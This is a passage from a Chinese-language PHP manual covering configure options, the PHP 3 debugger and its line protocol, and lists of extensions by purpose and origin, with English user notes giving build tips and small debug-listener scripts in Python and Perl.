包含 servlet 支持。DIR 是 JSDK 的安装目录。此 SAPI 要求 java 扩展必须作为共享模块编译到 PHP 中。

--with-thttpd=SRCDIR

编译 PHP 为 thttpd 模块。

--with-tux=MODULEDIR

编译 PHP 为 TUX 模块（仅在 Linux 下有效）。

--with-webjames=SRCDIR

编译 PHP 为 WebJames 模块（仅在 RISC 操作系统中有效）。

--disable-cgi

禁止编译 CGI 版本的 PHP。PHP 4.3.0 之后的版本有效。

--enable-force-cgi-redirect

启用内部服务器重定向的安全检测。如果在 Apache 下使用 CGI 版本的 PHP，请启用该选项。

--enable-discard-path

如果启用该选项，PHP CGI 目录可以安全的放在 web 目录树的外面，人们无法避开 .htaccess 的安全限制。

--with-fastcgi

编译 PHP 为 FastCGI 应用程序。PHP 4.3.0 及以后的版本此选项不再有效，应该使用 --enable-fastcgi 选项。

--enable-fastcgi

如果启用，CGI 模块将被编译为支持 FastCGI。PHP 4.3.0 之后的版本有效。

--disable-path-info-check

如果该选项被禁用，例如 /info.php/test?a=b 形式的路径将不能工作。PHP 4.3.0 之后的版本有效。更多信息请参考 Apache 手册。

add a note add a note User Contributed Notes
jovcic ate gseis stop ucla stop edu
09-Jul-2005 09:26
If you'e compiling a shared extension (e.g. pspell) whose libs & headers are not in the usual place, use the following:

--with-pspell=shared,/my/custom/path/to/pspell/

Took me forever to figure out, since Google had no answer for me.
joerg at fenin dot de
14-Apr-2005 03:15
If some options do not become active after doing a configure; make; make install, try to do a make clean after configure. That worked for me when enabling memory limts (--enable-memory-limit).
17-Jan-2004 07:33
>/usr/local/lib needs to be listed in /etc/ld.so.conf, but it should already
>be there on most systems.  The above notes all apply to Linux only,
>but may be useful on other platforms as well

 It is much simpler just to put /usr/local/pgsql/lib into /etc/ld.so.conf and then run ldconfig.
steve at njord dot org
06-Oct-2003 08:32
If you're trying to build with --with-imap and your uw-imap stuff is built SSLTYPE=nopwd then you will fail the "Checking if IMAP works" check if you don't also build with --with-imap-ssl

Another hour and a half of my life lost to find that one.

Steve
squeeNoSpam at NoSpamAddress dot com
15-Aug-2002 03:06
[Editor's note: The reason why some general options for the "configure" scripts are not documented is that said script is part of the GNU autoconf tools, and as such its general options are documented elsewhere, e.g.: http://www.gnu.org/manual/autoconf/index.html and http://www.airs.com/ian/configure/. Some are also documented in the INSTALL file that comes with the source distribution.]

The --prefix=PREFIX configure option isn't mentioned here. It apparently defaults to /usr/local, and sets the position of the php includes and libs. (in PREFIX/include/php and PREFIX/lib/php)
tysonlt from web_SPAMOFF_media com au
15-Apr-2002 01:42
RE: Servlet support, I found that you need to configure --with-servlet=/usr/local/tomcat/common.

I found checking the configure script (always a good idea) that it looks for {dir_prefix}/lib/servlet.jar file, and this is found in the tomcat/common directory.

Hope this helps a bit!
tsaberi at home dot com
15-Sep-2001 05:05
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
ceo at l-i-e dot com
14-Aug-2001 03:05
--enable-sigchild is only relevent to users of Oracle who are having <defunc> processes.
petrov at rice dot edu
04-Nov-2000 02:27
If you are building with --with-pgsql=/some/dir, make sure that you still have libpq loaded up by ldconfig.  I compiled and installed postgres from the tarball and then had to manually create the symlinks in /usr/local/lib.  In particular, after you have built and installed postgres, you need to do the following (presuming you installed to /usr/local/pgsql):

# cd /usr/local/lib
# ln -s ../pgsql/lib/libpq.so.2.1 libpq.so.2.1
# ln -s ../pgsql/lib/libpq.so.2.1 libpq.so.2
# ln -s ../pgsql/lib/libpq.so.2.1 libpq.so
# ldconfig

/usr/local/lib needs to be listed in /etc/ld.so.conf, but it should already be there on most systems.  The above notes all apply to Linux only, but may be useful on other platforms as well.

--sam
add a note add a note

后退 | 起点 | 前进
调试器协议 | 上一级 | php.ini 配置选项


PHP 的调试

PHP 手册
后退 前进

附录 E. PHP 的调试

目录
关于调试器
使用调试器
调试器协议

关于调试器

PHP 3 包含有基于网络的调试支持。

PHP 4 并没有内部调试器。但是可以使用外部调试器。Zend IDE 就是其中之一，它包含一个调试器。也有一些免费的调试器，比如在 http://dd.cron.ru/dbg/ 上的 DBG，Advanced PHP Debugger（APD）或者 Xdebug，它甚至有一个在本节中说明的和 PHP 3 的调试功能兼容的调试界面。

add a note add a note User Contributed Notes
online _ use _ only == hotmail.com
16-Mar-2006 07:41
I still find that printing out variable values at problem points in the code is one of the easiest ways for me to debug.  If you're interested in knowing the full contents of an object/array/scalar, then use

var_dump($var).
linus at mccabe dot nu
24-May-2004 04:04
Another free (GPL) debugger is Gubed, http://gubed.sf.net .
Currently available for Linux, but also Windows soon.
tulpe at atomar dot de
07-Feb-2003 11:09
Tired of manualy printing out your variables and arrays for debugging?

Take a look at my debuglib at:

http://www.atomar.de/public/code/debuglib/debuglib.demo.php

Happy debugging!

Thomas Sch
joe_fitchnospam at hotmail dot com
18-Dec-2002 04:15
I've tried many debuggers and PHP IDEs including Zend IDE, Komodo, PHPEdit, PHPEd and Maguma Studio.
 After all I'm sure that the best one debugger is dbg. It supports breakpoints even conditional ones,  all kind of steps throu php code, watch etc, so it's a fully functional debugger indeed and profiler too. Fortunately, it's an open-source product as PHP itself. Unfortunately, it does not contain any front-end, but 3rd party PHP IDEs. Seems, as for an IDE the best one is PHPEd 3.1 (http://www.phped.com), former PHP IDE from Ergin Soysal.
I was also deeply impressed with IonCube accelerator performance (http://www.ioncube.com). Commercial version of IONCUBE is many times faster than the commercial one from Zend (www.zend.com). Huh ?
Hope this info would help someone to find the better way faster.
23-Aug-2002 02:51
check out this great, cross-platform, my favourite php debugger:
 http://www.activestate.com/Products/Komodo/

it not only allows "debugging PHP programs locally or remotely, including debugging in CGI or other Web Server API environments", but, besides, is a full fledged Perl, PHP, Python, Tcl, and XSLT IDE. based on mozilla.

current version 1.2.9 costs some money ($29.50 non commercial), previous version 1.1 is free (non commercial).
dima at NOSPAM dot kde dot org
17-Jun-2001 11:46
Both php3 and php4 ( dbg extention ) are supported by Quanta Plus ( http://quanta.sourceforge.net )<br>
It's a full featured IDE for Unix ( KDE )
which supprt PHP too.
steve at stevedix dot de
09-Mar-2001 11:05
There is actually a symbolic debugger for php4 : BIKE.

It only works on unix/linux, and is a bit limited, but it's better than the existing (rather limited) system and typing tons of echos.

See it at :

http://www.ozemail.com.au/~djf01/body.html
bob at bobbydigital dot fsnet dot co dot uk
27-Oct-2000 08:12
want a simple way to get errors from php?

from the command line simply type:

"/path-to-php/php.exe your-php-file.php3"

and It'll throw back useful errors

use -q option before the filename to Suppress HTTP Header output.
jruskiewicz at techtracker dot com
26-Sep-2000 04:19
[Ed: Note: Python loop control is managed through indentation, so you will need to reindent this errata note]
python remote debug listener...

#!/usr/bin/python
#Used for remote debugging of PHP programs.
from socket import *;

#connect and bind to the port
s = socket(AF_INET, SOCK_STREAM);
s.bind("",7869);
s.listen(5);

#little info to print out
print "PHP Remote Debug Application";

#let us try this thing...
try:
   while 1:
       client, addr = s.accept();
       tmp = client.recv(1024);
       while tmp:
           print tmp, "\n";
           tmp = client.recv(1024);
       client.close();
except:
   s.close();
   print "Exit";
cbarnett at crossbeam dot com
08-Jul-2000 11:22
I'm copying this note from a post I found on Geocrawler.  I think Thierry diserves a round of applause for actually posting something useful, so...

HooRah!!!!

I'm going to add some syntax highlighting to the code to make it cute, and then we'll see.

FROM: Thierry Boudet
             DATE: 12/01/1998 01:35:21
             SUBJECT: RE:  [PHP3] [php3] get the debug info

             Rui Barreiros a crit:
             >
             > how can i get the debug info that the php3 sends to port 2000 (in my
             > case)
             >

             =====================================================================
             #!/usr/bin/perl -w

             use Socket;
             $port = 7869;          # PHP debugger
             my $proto = getprotobyname('tcp');

             socket(Server, PF_INET, SOCK_STREAM, $proto)
                                         or die "socket: $!";
             setsockopt(Server, SOL_SOCKET, SO_REUSEADDR, pack("l",1))
                                         or die "setsockopt: $!";
             bind(Server, sockaddr_in($port, INADDR_ANY))
                                         or die "bind: $!";
             listen(Server, SOMAXCONN);

             for ( ; $paddr = accept(Client, Server); close Client)
                 {
                 my ($port, $iaddr) = sockaddr_in($paddr);
                 my $name = gethostbyaddr($iaddr, AF_INET);
                 print "-------------  $name  $port --------";
                 while (<Client>)        {  print;  }
                 }
             =====================================================================
add a note add a note

后退 | 起点 | 前进
其它不兼容 | 上一级 | 使用调试器


调试器协议

PHP 3 调试器协议以行为单位。每一行有一个类型（type），某几行组成一个消息（message）。每一个消息起始于包含类型 start 的一行，并终止于包含类型 end 的一行。PHP 3 可以同时发送不同的消息行。

行的格式如下：

date time host(pid) type: message-data

date

date 使用 ISO 8601 格式：yyyy-mm-dd。

time

time 精确到毫秒：hh:mm:uuuuuu。

host

产生错误的 PHP 脚本所在主机的 DNS 名或 IP 地址。

pid

产生错误的 PHP 脚本在 host 中的 PID。

type

行的类型。它告诉接收信息的程序如何处理下面的数据：

表格 E-1. 调试器行类型

名称 | 含义
start | 告诉接收的程序，调试信息由此开始。data 的内容将会是错误消息的类型，在本页面下方列出。
message | PHP 3 错误消息。
location | 发生错误的文件名和行号。location 的第一行总是包含顶级(top-level)地址。data 包含 file:line。在 message 和每一个 function 之后总有一行 location 行。
frames | 在下面的堆栈卸出中所包含的帧数。如果有四帧，则应该有四层函数调用的信息。如果没有给出“frames”这一行，则深度被假定为 0（错误发生在最顶层）。
function | 发生错误的函数。在调用函数堆栈的每级只重复一次。
end | 告诉接收的程序，除错信息到此结束。

data

每行的数据。

表格 E-2. 调试器错误类型

调试器 | PHP 3 内部
warning | E_WARNING
error | E_ERROR
parse | E_PARSE
notice | E_NOTICE
core-error | E_CORE_ERROR
core-warning | E_CORE_WARNING
unknown | （其它任何错误）

例子 E-1. 调试器错误消息示例

1998-04-05 23:27:400966 lucifer.guardian.no(20481) start: notice
1998-04-05 23:27:400966 lucifer.guardian.no(20481) message: Uninitialized variable
1998-04-05 23:27:400966 lucifer.guardian.no(20481) location: (null;):7
1998-04-05 23:27:400966 lucifer.guardian.no(20481) frames: 1
1998-04-05 23:27:400966 lucifer.guardian.no(20481) function: display
1998-04-05 23:27:400966 lucifer.guardian.no(20481) location: /home/ssb/public_html/test.php3:10
1998-04-05 23:27:400966 lucifer.guardian.no(20481) end: notice

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
使用调试器 | 上一级 | 配置选项


使用调试器

PHP 3 中的内建调试器对跟踪一些逻辑 Bug (evasive bugs) 是非常有用的。调试器在 PHP 3 每次启动时连接到一个 TCP 端口。从 web 请求中产生的所有错误信息都将发送到该 TCP 连接。这些信息可以被可运行在 IDE 或者可编程编辑器（例如 Emacs）中的除错服务器处理。

如何设置调试器：

  1. 在配置文件中为调试器设置一个 TCP 端口（设定 debugger.port 参数）并且启用它（设定 debugger.enabled 参数）。

  2. 在某处设置该 TCP 端口的监听器（listener）（例如：在 Unix 上使用 socket -l -s 1400 命令）。

  3. 在代码中，运行“debugger_on(host)”，host 指运行 TCP 监听器的主机名或 IP 地址。

现在，所有的错误、警告、注意等的 debug 信息都会显示在那个监听器中。即使使用 error_reporting() 关闭它们，它们也会在监听器中显示。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 的调试 | 上一级 | 调试器协议


扩展库分类

PHP 手册
后退 前进

附录 H. 扩展库分类

目录
按用途分
按归属分
按状态分

本附录以几种标准将 PHP 手册中有文档的库归为 150 类。

按用途分

基本 PHP 扩展库

变量与类型相关扩展库

  • 参考 V, Array 数组函数

  • 参考 XIII, Classkit Functions

  • 参考 XII, Classes/Objects 类／对象函数

  • 参考 XI, Character Type Functions

  • 参考 XLII, Function Handling Functions

  • 参考 XCI, Object Aggregation/Composition Functions

  • 参考 CXLIX, Variable 变量函数

文本处理

  • 参考 CXXII, Perl 兼容正则表达式函数

  • 参考 CXXIII, POSIX 扩展正则表达式函数

  • 参考 CXLII, String 字符串处理函数

  • 参考 CLV, xdiff Functions

影响 PHP 行为的

  • 参考 III, Alternative PHP Cache

  • 参考 II, Advanced PHP debugger

  • 参考 CVIII, PHP bytecode Compiler

  • 参考 XXXI, Error Handling and Logging Functions

  • 参考 XLVII, HTTP 函数

  • 参考 CIX, PHP Options&Information

  • 参考 CI, Output Control 输出控制函数

  • 参考 CXXIV, runkit Functions

Session 扩展库

  • 参考 LXXX, Mohawk Software Session Handler Functions

  • 参考 LXXXIII, muscat Functions

  • 参考 CXXXI, Session Handling Functions

其它基本扩展库

  • 参考 LXXVIII, Miscellaneous Functions

  • 参考 CIV, Parsekit Functions

  • 参考 CXL, Standard PHP Library (SPL) Functions

  • 参考 CXLV, Tidy Functions

  • 参考 CXLVI, Tokenizer Functions

  • 参考 CXLVIII, URL 函数

数据库扩展库

抽象层

  • 参考 XXI, Database (dbm-style) Abstraction Layer Functions

  • 参考 XXVI, dbx Functions

  • 参考 CVI, PDO Functions

  • 参考 CXXV, SDO Functions

  • 参考 CXXVI, SDO Relational Data Access Service Functions

  • 参考 XCIV, ODBC Functions (Unified)

各供应商的扩展库

  • 参考 XXIV, dBase Functions

  • 参考 XXIII, DB++ Functions

  • 参考 XL, FrontBase Functions

  • 参考 XXXIV, filePro Functions

  • 参考 XXXVI, Firebird/InterBase Functions

  • 参考 L, IBM DB2, Cloudscape and Apache Derby Functions

  • 参考 LVII, Informix Functions

  • 参考 LVIII, Ingres II Functions

  • 参考 LXVIII, MaxDB PHP Extension

  • 参考 LXXXI, mSQL Functions

  • 参考 LXXV, Microsoft SQL Server Functions

  • 参考 LXXXIV, MySQL 函数

  • 参考 LXXXVI, MySQL Improved Extension

  • 参考 XCVIII, Oracle 函数

  • 参考 C, Oracle 函数（已废弃）

  • 参考 CII, Ovrimos SQL Functions

  • 参考 CIII, Paradox File Access

  • 参考 LXXIV, Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

  • 参考 XXXVII, Firebird/Interbase Functions (PDO_FIREBIRD)

  • 参考 LXXXV, MySQL Functions (PDO_MYSQL)

  • 参考 XCIX, Oracle Functions (PDO_OCI)

  • 参考 XCIII, ODBC and DB2 functions (PDO_ODBC)

  • 参考 CXII, PostgreSQL Functions (PDO_PGSQL)

  • 参考 CXXXIX, SQLite Functions (PDO_SQLITE)

  • 参考 CXI, PostgreSQL 数据库函数

  • 参考 CXXXVIII, SQLite Functions

  • 参考 CXLIII, Sybase Functions

XML 操作

  • 参考 XXIX, DOM Functions

  • 参考 XXX, DOM XML Functions

  • 参考 LXII, libxml Functions

  • 参考 CXIX, qtdom Functions

  • 参考 CXXVII, SDO XML Data Access Service Functions

  • 参考 CXXXIV, SimpleXML functions

  • 参考 CLVI, XML 语法解析函数

  • 参考 CLVIII, XMLReader functions

  • 参考 CLIX, XSL functions

  • 参考 CLX, XSLT Functions

Web 服务

  • 参考 CXXXVI, SOAP Functions

  • 参考 CLIII, WDDX Functions

  • 参考 CLVII, XML-RPC 函数

信用卡处理

  • 参考 XIX, Cybercash Payment Functions

  • 参考 XVII, Credit Mutuel CyberMUT functions

  • 参考 LXXI, MCVE Payment Functions

  • 参考 CL, Verisign Payflow Pro Functions

数学和密码

数学扩展库

  • 参考 VII, BC math 高精度数学函数

  • 参考 XLIV, GMP Functions

  • 参考 LXVII, Math 数学函数

密码扩展库

  • 参考 XVI, Crack Functions

  • 参考 LXX, Mcrypt Encryption Functions

  • 参考 LXXIII, Mhash Functions

  • 参考 XCVII, OpenSSL Functions

自然语言与字符编码支持

  • 参考 XXXIX, FriBiDi Functions

  • 参考 XLIII, Gettext

  • 参考 LII, iconv Functions

  • 参考 LXXXII, Multibyte String Functions

  • 参考 CXVIII, Pspell Functions

  • 参考 XLVI, GNU Recode Functions

文件系统和进程控制

文件系统相关扩展库

  • 参考 XXVII, Direct IO Functions

  • 参考 XXVIII, Directory 目录函数

  • 参考 XXXIII, File Alteration Monitor Functions

  • 参考 XXXV, Filesystem 文件系统函数

  • 参考 LXXVI, Mimetype Functions

  • 参考 CLIV, xattr Functions

进程控制扩展库

  • 参考 CXVII, Program Execution Functions

  • 参考 CXVI, Process Control Functions

  • 参考 CX, POSIX Functions

  • 参考 CXXIX, Semaphore, Shared Memory and IPC Functions

  • 参考 CXXXII, Shared Memory Functions

远程访问服务

邮件相关扩展库

  • 参考 XX, Cyrus IMAP administration Functions

  • 参考 LVI, IMAP, POP3 and NNTP Functions

  • 参考 LXV, Mail Functions

  • 参考 LXVI, mailparse Functions

  • 参考 CLI, vpopmail Functions

认证服务

  • 参考 LX, KADM5

  • 参考 CXX, Radius

其它服务

  • 参考 XVIII, CURL, Client URL Library Functions

  • 参考 XLI, FTP 函数

  • 参考 XLIX, Hyperwave Functions

  • 参考 XLVIII, Hyperwave API Functions

  • 参考 LIX, IRC Gateway Functions

  • 参考 CVII, PHP / Java Integration

  • 参考 LXI, LDAP Functions

  • 参考 LXXII, Memcache Functions

  • 参考 LXXIX, mnoGoSearch Functions

  • 参考 LXXXIX, Net_Gopher

  • 参考 LXXXVIII, Network Functions

  • 参考 CLXII, YP/NIS Functions

  • 参考 LXIII, Lotus Notes Functions

  • 参考 CXXXV, SNMP 函数

  • 参考 CXXXVII, Socket Functions

  • 参考 CXXVIII, Secure Shell2 Functions

  • 参考 CXLI, Stream Functions

  • 参考 CXLIV, TCP Wrappers Functions

  • 参考 CLXI, YAZ Functions

压缩扩展库

  • 参考 VIII, Bzip2 压缩函数

  • 参考 LXIV, LZF Functions

  • 参考 CXXI, Rar Functions

  • 参考 CLXIII, Zip File Functions (Read Only Access)

  • 参考 CLXIV, Zlib Compression Functions

历法和事件相关扩展库

  • 参考 IX, Calendar 日历函数

  • 参考 XXII, Date/Time 日期／时间函数

  • 参考 LXIX, MCAL Functions

应用领域类扩展库

非文本 MIME 输出

  • 参考 XIV, ClibPDF Functions

  • 参考 XXXVIII, Forms Data Format Functions

  • 参考 LXXVII, Ming functions for Flash

  • 参考 CV, PDF functions

  • 参考 CXIV, PostScript document creation

  • 参考 CXXXIII, Shockwave Flash Functions

图像处理和生成

  • 参考 XXXII, Exif Functions

  • 参考 LV, Image 图像函数

音频格式操作

  • 参考 LIII, ID3 Functions

  • 参考 XCV, oggvorbis

  • 参考 XCVI, OpenAL Audio Bindings

命令行相关扩展库

  • 参考 LXXXVII, Ncurses Terminal Screen Control Functions

  • 参考 XLV, GNU Readline

Windows 专用扩展库

  • 参考 XV, COM 和 .Net（Windows）函数

  • 参考 I, .NET 函数

  • 参考 CXV, Printer Functions

  • 参考 CLII, W32api 函数

服务器相关扩展库

  • 参考 IV, Apache 特有函数

  • 参考 LIV, IIS Administration Functions

  • 参考 XC, NSAPI-specific Functions

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
php.ini 核心配置选项说明 | 上一级 | 按归属分


按归属分

核心扩展库

以下并非真正的扩展库，它们属于 PHP 内核的一部分，不能通过编译选项将其排除。

  • 参考 V, Array 数组函数

  • 参考 XII, Classes/Objects 类／对象函数

  • 参考 XXII, Date/Time 日期／时间函数

  • 参考 XXVIII, Directory 目录函数

  • 参考 XXXI, Error Handling and Logging Functions

  • 参考 CXVII, Program Execution Functions

  • 参考 XXXV, Filesystem 文件系统函数

  • 参考 XLII, Function Handling Functions

  • 参考 XLVII, HTTP 函数

  • 参考 CIX, PHP Options&Information

  • 参考 LXV, Mail Functions

  • 参考 LXVII, Math 数学函数

  • 参考 LXXVIII, Miscellaneous Functions

  • 参考 LXXXVIII, Network Functions

  • 参考 CI, Output Control 输出控制函数

  • 参考 CXXIII, POSIX 扩展正则表达式函数

  • 参考 CXXXI, Session Handling Functions

  • 参考 CXLI, Stream Functions

  • 参考 CXLII, String 字符串处理函数

  • 参考 CXLVI, Tokenizer Functions

  • 参考 CXLVIII, URL 函数

  • 参考 CXLIX, Variable 变量函数

绑定的扩展库

以下扩展库绑定在 PHP 发行包中。

  • 参考 IV, Apache 特有函数

  • 参考 VII, BC math 高精度数学函数

  • 参考 VIII, Bzip2 压缩函数

  • 参考 IX, Calendar 日历函数

  • 参考 XV, COM 和 .Net（Windows）函数

  • 参考 XI, Character Type Functions

  • 参考 XVIII, CURL, Client URL Library Functions

  • 参考 XXI, Database (dbm-style) Abstraction Layer Functions

  • 参考 XXIV, dBase Functions

  • 参考 XXIX, DOM Functions

  • 参考 I, .NET 函数

  • 参考 XXXII, Exif Functions

  • 参考 XL, FrontBase Functions

  • 参考 XXXVIII, Forms Data Format Functions

  • 参考 XXXIV, filePro Functions

  • 参考 XLI, FTP 函数

  • 参考 XLIII, Gettext

  • 参考 XLIV, GMP Functions

  • 参考 XLVIII, Hyperwave API Functions

  • 参考 XXXVI, Firebird/InterBase Functions

  • 参考 LII, iconv Functions

  • 参考 LVII, Informix Functions

  • 参考 LV, Image 图像函数

  • 参考 LVI, IMAP, POP3 and NNTP Functions

  • 参考 LXI, LDAP Functions

  • 参考 LXII, libxml Functions

  • 参考 LXXXII, Multibyte String Functions

  • 参考 LXX, Mcrypt Encryption Functions

  • 参考 LXXIII, Mhash Functions

  • 参考 LXXVI, Mimetype Functions

  • 参考 LXXVII, Ming functions for Flash

  • 参考 LXXX, Mohawk Software Session Handler Functions

  • 参考 LXXXI, mSQL Functions

  • 参考 LXXV, Microsoft SQL Server Functions

  • 参考 LXXXIV, MySQL 函数

  • 参考 LXXXVI, MySQL Improved Extension

  • 参考 LXXXVII, Ncurses Terminal Screen Control Functions

  • 参考 XC, NSAPI-specific Functions

  • 参考 XCI, Object Aggregation/Composition Functions

  • 参考 XCVIII, Oracle 函数

  • 参考 XCVII, OpenSSL Functions

  • 参考 CXVI, Process Control Functions

  • 参考 CXXII, Perl 兼容正则表达式函数

  • 参考 CVI, PDO Functions

  • 参考 LXXIV, Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

  • 参考 XXXVII, Firebird/Interbase Functions (PDO_FIREBIRD)

  • 参考 LXXXV, MySQL Functions (PDO_MYSQL)

  • 参考 XCIX, Oracle Functions (PDO_OCI)

  • 参考 XCIII, ODBC and DB2 functions (PDO_ODBC)

  • 参考 CXII, PostgreSQL Functions (PDO_PGSQL)

  • 参考 CXXXIX, SQLite Functions (PDO_SQLITE)

  • 参考 CXI, PostgreSQL 数据库函数

  • 参考 CX, POSIX Functions

  • 参考 CXVIII, Pspell Functions

  • 参考 XLV, GNU Readline

  • 参考 XLVI, GNU Recode Functions

  • 参考 CXXIX, Semaphore, Shared Memory and IPC Functions

  • 参考 CXXXII, Shared Memory Functions

  • 参考 CXXXIV, SimpleXML functions

  • 参考 CXXXV, SNMP 函数

  • 参考 CXXXVI, SOAP Functions

  • 参考 CXXXVII, Socket Functions

  • 参考 CXL, Standard PHP Library (SPL) Functions

  • 参考 CXXXVIII, SQLite Functions

  • 参考 CXLIII, Sybase Functions

  • 参考 CXLV, Tidy Functions

  • 参考 XCIV, ODBC Functions (Unified)

  • 参考 CLIII, WDDX Functions

  • 参考 CLVI, XML 语法解析函数

  • 参考 CLVIII, XMLReader functions

  • 参考 CLVII, XML-RPC 函数

  • 参考 CLIX, XSL functions

  • 参考 CLX, XSLT Functions

  • 参考 CLXIV, Zlib Compression Functions

外部扩展库

要编译以下扩展库，需要外部的库。

  • 参考 VIII, Bzip2 压缩函数

  • 参考 XIV, ClibPDF Functions

  • 参考 XVI, Crack Functions

  • 参考 XVIII, CURL, Client URL Library Functions

  • 参考 XXIV, dBase Functions

  • 参考 XXIII, DB++ Functions

  • 参考 XXVI, dbx Functions

  • 参考 XXIX, DOM Functions

  • 参考 XXX, DOM XML Functions

  • 参考 XXXIII, File Alteration Monitor Functions

  • 参考 XL, FrontBase Functions

  • 参考 XXXVIII, Forms Data Format Functions

  • 参考 XXXIX, FriBiDi Functions

  • 参考 XLIII, Gettext

  • 参考 XLIV, GMP Functions

  • 参考 XLIX, Hyperwave Functions

  • 参考 XLVIII, Hyperwave API Functions

  • 参考 XXXVI, Firebird/InterBase Functions

  • 参考 L, IBM DB2, Cloudscape and Apache Derby Functions

  • 参考 LVII, Informix Functions

  • 参考 LVI, IMAP, POP3 and NNTP Functions

  • 参考 LVIII, Ingres II Functions

  • 参考 LIX, IRC Gateway Functions

  • 参考 CVII, PHP / Java Integration

  • 参考 LXI, LDAP Functions

  • 参考 LXII, libxml Functions

  • 参考 LXVIII, MaxDB PHP Extension

  • 参考 LXIX, MCAL Functions

  • 参考 LXX, Mcrypt Encryption Functions

  • 参考 LXXII, Memcache Functions

  • 参考 LXXIII, Mhash Functions

  • 参考 LXXVII, Ming functions for Flash

  • 参考 LXXIX, mnoGoSearch Functions

  • 参考 LXXX, Mohawk Software Session Handler Functions

  • 参考 LXXXI, mSQL Functions

  • 参考 LXXV, Microsoft SQL Server Functions

  • 参考 LXXXIII, muscat Functions

  • 参考 LXXXIV, MySQL 函数

  • 参考 LXXXVI, MySQL Improved Extension

  • 参考 LXXXVII, Ncurses Terminal Screen Control Functions

  • 参考 XCVIII, Oracle 函数

  • 参考 XCV, oggvorbis

  • 参考 XCVI, OpenAL Audio Bindings

  • 参考 XCVII, OpenSSL Functions

  • 参考 C, Oracle 函数（已废弃）

  • 参考 CII, Ovrimos SQL Functions

  • 参考 CIII, Paradox File Access

  • 参考 CV, PDF functions

  • 参考 LXXIV, Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

  • 参考 XXXVII, Firebird/Interbase Functions (PDO_FIREBIRD)

  • 参考 LXXXV, MySQL Functions (PDO_MYSQL)

  • 参考 XCIX, Oracle Functions (PDO_OCI)

  • 参考 XCIII, ODBC and DB2 functions (PDO_ODBC)

  • 参考 CXII, PostgreSQL Functions (PDO_PGSQL)

  • 参考 CL, Verisign Payflow Pro Functions

  • 参考 CXI, PostgreSQL 数据库函数

  • 参考 CXIV, PostScript document creation

  • 参考 CXVIII, Pspell Functions

  • 参考 CXIX, qtdom Functions

  • 参考 CXX, Radius

  • 参考 CXXI, Rar Functions

  • 参考 XLV, GNU Readline

  • 参考 XLVI, GNU Recode Functions

  • 参考 CXXXIV, SimpleXML functions

  • 参考 CXXXV, SNMP 函数

  • 参考 CXXXVI, SOAP Functions

  • 参考 CXXVIII, Secure Shell2 Functions

  • 参考 CXXXIII, Shockwave Flash Functions

  • 参考 CXLIII, Sybase Functions

  • 参考 CXLV, Tidy Functions

  • 参考 XCIV, ODBC Functions (Unified)

  • 参考 CLI, vpopmail Functions

  • 参考 CLIII, WDDX Functions

  • 参考 CLIV, xattr Functions

  • 参考 CLV, xdiff Functions

  • 参考 CLVI, XML 语法解析函数

  • 参考 CLVIII, XMLReader functions

  • 参考 CLIX, XSL functions

  • 参考 CLX, XSLT Functions

  • 参考 CLXI, YAZ Functions

PECL 扩展库

以下扩展来自 PECL。还有更多的 PECL 扩展但在 PHP 手册中尚未有文档。

  • 参考 III, Alternative PHP Cache

  • 参考 II, Advanced PHP debugger

  • 参考 CVIII, PHP bytecode Compiler

  • 参考 XIII, Classkit Functions

  • 参考 XIV, ClibPDF Functions

  • 参考 XVI, Crack Functions

  • 参考 XIX, Cybercash Payment Functions

  • 参考 XVII, Credit Mutuel CyberMUT functions

  • 参考 XX, Cyrus IMAP administration Functions

  • 参考 XXIII, DB++ Functions

  • 参考 XXVI, dbx Functions

  • 参考 XXVII, Direct IO Functions

  • 参考 XXX, DOM XML Functions

  • 参考 XXXIII, File Alteration Monitor Functions

  • 参考 XXXIX, FriBiDi Functions

  • 参考 XLIX, Hyperwave Functions

  • 参考 L, IBM DB2, Cloudscape and Apache Derby Functions

  • 参考 LIII, ID3 Functions

  • 参考 LIV, IIS Administration Functions

  • 参考 LVIII, Ingres II Functions

  • 参考 LIX, IRC Gateway Functions

  • 参考 CVII, PHP / Java Integration

  • 参考 LX, KADM5

  • 参考 LXIV, LZF Functions

  • 参考 LXVI, mailparse Functions

  • 参考 LXVIII, MaxDB PHP Extension

  • 参考 LXIX, MCAL Functions

  • 参考 LXXI, MCVE Payment Functions

  • 参考 LXXII, Memcache Functions

  • 参考 LXXIX, mnoGoSearch Functions

  • 参考 LXXXIII, muscat Functions

  • 参考 LXXXIX, Net_Gopher

  • 参考 CLXII, YP/NIS Functions

  • 参考 LXIII, Lotus Notes Functions

  • 参考 XCV, oggvorbis

  • 参考 XCVI, OpenAL Audio Bindings

  • 参考 C, Oracle 函数（已废弃）

  • 参考 CII, Ovrimos SQL Functions

  • 参考 CIII, Paradox File Access

  • 参考 CIV, Parsekit Functions

  • 参考 CV, PDF functions

  • 参考 CVI, PDO Functions

  • 参考 LXXIV, Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

  • 参考 XXXVII, Firebird/Interbase Functions (PDO_FIREBIRD)

  • 参考 LXXXV, MySQL Functions (PDO_MYSQL)

  • 参考 XCIX, Oracle Functions (PDO_OCI)

  • 参考 XCIII, ODBC and DB2 functions (PDO_ODBC)

  • 参考 CXII, PostgreSQL Functions (PDO_PGSQL)

  • 参考 CXXXIX, SQLite Functions (PDO_SQLITE)

  • 参考 CL, Verisign Payflow Pro Functions

  • 参考 CXV, Printer Functions

  • 参考 CXIV, PostScript document creation

  • 参考 CXIX, qtdom Functions

  • 参考 CXX, Radius

  • 参考 CXXI, Rar Functions

  • 参考 CXXIV, runkit Functions

  • 参考 CXXV, SDO Functions

  • 参考 CXXVII, SDO XML Data Access Service Functions

  • 参考 CXXVI, SDO Relational Data Access Service Functions

  • 参考 CXXVIII, Secure Shell2 Functions

  • 参考 CXXXIII, Shockwave Flash Functions

  • 参考 CXLIV, TCP Wrappers Functions

  • 参考 CXLV, Tidy Functions

  • 参考 CLI, vpopmail Functions

  • 参考 CLII, W32api 函数

  • 参考 CLIV, xattr Functions

  • 参考 CLV, xdiff Functions

